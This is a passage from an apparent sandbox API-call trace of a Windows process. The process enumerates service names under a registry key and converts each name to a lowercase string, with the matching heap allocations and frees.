lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0210.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.061] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.062] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0210.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0210.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0210.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0210.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.063] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0210.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1c88, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.064] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0210.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0210.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.065] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.066] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0210.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.067] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.067] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.067] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.067] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0210.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.068] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.068] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0210.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0210.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0210.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0210.068] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0210.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0210.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0210.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1c88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0210.069] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 